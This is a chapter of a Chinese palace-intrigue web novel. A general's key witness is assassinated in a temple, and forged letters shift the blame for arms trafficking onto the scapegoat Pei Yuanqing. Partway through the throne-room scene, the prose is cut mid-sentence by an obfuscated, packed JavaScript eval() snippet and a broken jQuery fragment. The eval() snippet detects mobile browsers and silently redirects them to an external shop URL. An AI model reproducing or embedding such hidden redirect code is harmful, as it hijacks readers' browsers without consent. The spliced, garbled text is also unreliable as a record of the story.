文趣网 > 其他小说 > 将军她又杀疯了 > 38. 顶罪
    佛像垂眼,普渡众生,佛掌合一,悲悯丛生。

    此时的李青安像是走投无路到绝境的迷客,只能将渺茫的希望寄托在面前这尊早已落败不堪的佛像上,上面已然生出了绿色苔藓,蛛网成结。

    偏偏他唯一能做的只有跪拜在散落杂乱的木草上,双手合十心里不断默念自己千万不要被人发现。

    他替周相做了那么多掉脑袋的事,如果被抓住了后果可想而知,就算是陛下怜悯,周相也绝对不会任由他活下去。

    横竖都是一死,他早已深陷困局。

    然而,神明似乎并没有聆听他的愿望,倏然间,破落的沾染灰尘的门被人从外推开,光亮也随之漏了进来,恰好那束光覆在了佛像那双低眉看众生的双眼上,悲凉又可怜。

    江同舒踏过凸起的门槛,此时她已换上了一身暗红金纹路交织的劲装,剑尖垂落在地,她缓缓地,轻轻地走了进来。

    “神佛不会聆听你的祈祷,但我会,我会一字一句的听完,然后送你上路。”

    突如其来的响声,让李青安的尚且存着一丝侥幸的心思立刻沉了下来,他猛然睁眼,回头看去,才惊觉背后的冷汗早已浸透外衫。

    江同舒的话不断回绕在他耳边,宛若地狱来索命的恶鬼。

    这一刻他再也撑不下去了,连滚带爬的跪倒在江同舒脚边,瞪大了双眼,语气近乎恳求,“那些事都不是我做的,是......是有人指示我的。”

    “是谁?”江同舒弯下腰,一动不动的盯着他的眼睛,引诱他说出接下来的话,“只要你说出来是谁,我便向陛下求情饶你一命。”

    听到最后一句话,李青安抓紧她袍角的手又蓦然收紧,不敢置信问道,“当真?”

    “自然。”江同舒直起身子,光线模糊了她的神色,“只要你说出来我保你不死。”

    “是周相,是他!贩卖军械都是他让我干的,我只是按照他的吩咐做事而已。”李青安当即出卖了背后的主子,不过也正如江同舒他们心里猜想的一样,只要能拿到证据再加上李青安这个人证,周相便是捅了天也根本翻不了身。

    现在只需要把李青安带回去.....

    思绪翻转间,一股从头到脚的寒意直窜心头,她下意识侧开身子,银光在她眼前一闪而过,可李青安运气就没那么好了,那支箭矢毫无保留的穿过他的眉间,甚至还没来得及看清是何人何物便只能含冤身死。

    箭头带血,稳稳当当的扎在了神像上。

    李青安死之前还死死睁着双眼,随后‘砰’的一声倒在了地上,激起满地的尘土和散乱的干草。

    江同舒见状,立马提剑追了出去,可除了外头还在晃荡的树丛,除此以外什么人都没有。

    她握紧执剑的那只手,低低的暗骂一声。

    这人肯定是周相派来的,除了他还有谁会这么毫不犹豫地杀了李青安灭口。

    李青安的话只同她说过,可眼下李青安被灭口,人证肯定是没有了,只能希望沈别他们那边有什么有用的线索。

    而后,江同舒回到襄州李府,沈别一行人也早已在府内等候良久。

    见她回来,明春最先迎了上去,“将军。”

    身份暴露,自然也没了隐藏的必要。

    江同舒浅浅应了一声,随后将李青安被灭口的事如数告诉了其他人。

    出乎意料的,几人的脸色难看至极,可她没注意的是最早踏进门的时候他们神情沉重默然,只是她一心扑在李青安被灭口的事上并没有注意到。

    “其实我们也有件事要告诉你。”沈别拿出几张页纸放在了她的面前。

    江同舒这才发觉他的脸色凝重,其他几人的也是。

    她拿起信件仔细翻阅起来,第一眼她就睁圆了眼睛,不敢相信地继续翻看一张又一张,直到最后什么都没有了。

    她心头挫败感腾然升起,扶住额头,一手攥紧了手里的信件。

    这几封信里,无论是字迹还是落款,都指着一个人。

    却不是他们心里期望的那个人。

    而是裴渊清。

    “我们本想等你带着李青安回来,或许能问出什么。”沈别沉着声,“只是没想到最后又被周相截胡了。”

    “我们被算计了。”江同舒忽地抬起头,“我们二人分明已经找了借口离开上京,可周相的人却能准确知晓我们在哪,在做什么,能在我找到李青安的那刻当场灭口,只能说明他早就看穿了我们的计策,不过是将计就计。”

    沈别没有说话,他早在看见那几封信件时也已经意识到了,他们努力的一切,自以为是在暗处精密部署,可实际上在敌人眼里如同跳梁小丑一样。

    这也意味着,他舍弃了裴渊清这颗棋子。

    “其他地方没有搜过了吗?”江同舒急着发问。

    “我们已经把整个李府全部搜了一遍,甚至这些信都是在李青安书房的暗格里找到的,其他什么都没有。”禾风垂着脑袋,显然也是失落至极。

    柳清则倏然起身用力一拍案,激动道,“那我们辛辛苦苦做的局不就全部白费了吗?”

    此话一出,所有人都默了默。

    “也不算。”沈别静静梳理一切,“他舍了裴渊清,可裴渊清归根结底也是他的人,他必然会受到牵连,就算是他咬定自己什么也不知道,陛下也不可能会轻易放过他。”

    总而言之,他们的努力没有白费,只是最后的结果没有按照他们的理想结局靠近罢了。

    现在要做的,就是将乌延蛮他们押送回上京,再将从李青安书房里搜出来的证据一并呈交给陛下,即便他们深知这幕后的主使者并不是裴渊清,可手中证据只指向了裴渊清,他们别无他法。

    他们此行并没有带人,只能同蔡天平借了人押着乌延蛮他们回了上京。

    一到上京,沈别和江同舒二人便马不停蹄前去面圣。

    宋帝坐在上位,静静的听着两人的汇报,等到苏公公将他们搜集出来的证据呈在面前,他才动了动,坐直了身子。

    伸手拿过那几封信件,越往下看眉头便皱的越深,到最后帝王发怒将这几封信狠狠的拍在了桌案上,斥声道,“好一个周相,好一个裴渊清。”

    江同舒低着头,不敢直视龙颜,可思索半晌还是抬头开口,“陛下,贩卖军械之人并非是裴

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634108|206502||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    渊清,而是周相。”

    “朕自然知道。”宋帝嗓音冷漠的可怕,“裴渊清说到底不过是一个替罪羊,可证据明摆着指的就是裴渊清干的,那么朕只能下旨把他抓起来,再借机向周相发难。”

    “可是.....”江同舒还想说什么,一道声音却比她更快。

    “臣明白。”沈别低垂着头,微微侧去,对她摇了摇头。

    她只能把话嚼碎了咽下去,妥协出声,“臣明白。”

    宋帝疲惫的揉了揉眉心,“好了,你们二人此行也辛苦了,回去歇着吧。”

    “是。”两人领了命,不敢多说一句话即刻退了下去。

    出了勤政殿,沈别直接了当开口,不是疑问是肯定,“你想保下裴渊清。”

    上京的风光比襄州热闹不少,繁盛奢靡,富贵迷人眼,带着温热气息的夏风挟杂着雨后湿润泥土的气息,腥臭又燥热。

    等了很久,江同舒都没有回答这句话,久到沈别以为她不会再回答了。

    良久,江同舒才缓缓启唇道,“是,我想保下他。”

    御花园湖畔泛起阵阵涟漪,柳枝轻绦,金色光芒洒落在她秀丽的面庞上,微微侧眸,眼底竟浮现一层极美的光晕。

    “为什么?你似乎对他有些执着。”沈别收回目光,望向前头一面朱红高墙。

    “我什么时候对他执着了?”江同舒莫名其妙。

    “你主动去了裴府,还宁愿冒着顶撞陛下的大罪替他开脱。”沈别细细列出一条又一条,每说一个字,声音便更冷冽一分。

    江同舒大惊,“你怎么知道我去了裴府。”

    沈别:......

    “你去了裴府的事早就传开了,还需要我特意去查吗?”

    沈别没去看她,脚步渐渐快了些。

    江同舒并未察觉,但也能轻而易举的跟上他,毕竟走的快慢对她来说不值一提。

    只是,她对裴渊清不是执着,更不是对他这个人。

    她只是觉得遗憾和可惜,像裴渊清这样的君子不应该沦为周相争夺权柄的牺牲品,他应该站在更广阔的更高的地方做他想做,应该做的事,而不是被扣上奸臣和反贼的罪名被人唾骂一辈子。

    哪怕这条路是他自己选的,她也是于心不忍。

    在那个每个人都还懵懂迷茫的年纪,裴渊清能说出那样令人振聋发聩的豪言壮语,他本身就不是个坏人。

    见她不语,沈别还以为被他说中了,嗤笑一声,“真是难怪,你拒了所有人的帖子,唯独主动找了他。”

    “什么?这跟其他人有什么关系?”江同舒听的云里雾里的。

    “没什么。”沈别脚步一顿,江同舒险些撞到他的后背,探出头才发现在她思考的时候两人已经出了宫门。

    “沈.....”江同舒刚想出声问他什么意思,只见他已经上了自家府里的马车。

    沈别掀开帘子,声音不带丝毫情绪,冷冷开口,“将军早些回府吧。”

    一句话说完,他立刻放下帘子不去看她。

    禾风也不知道两人究竟发生了什么,但还是朝江同舒行了一礼随后便驾车离去了。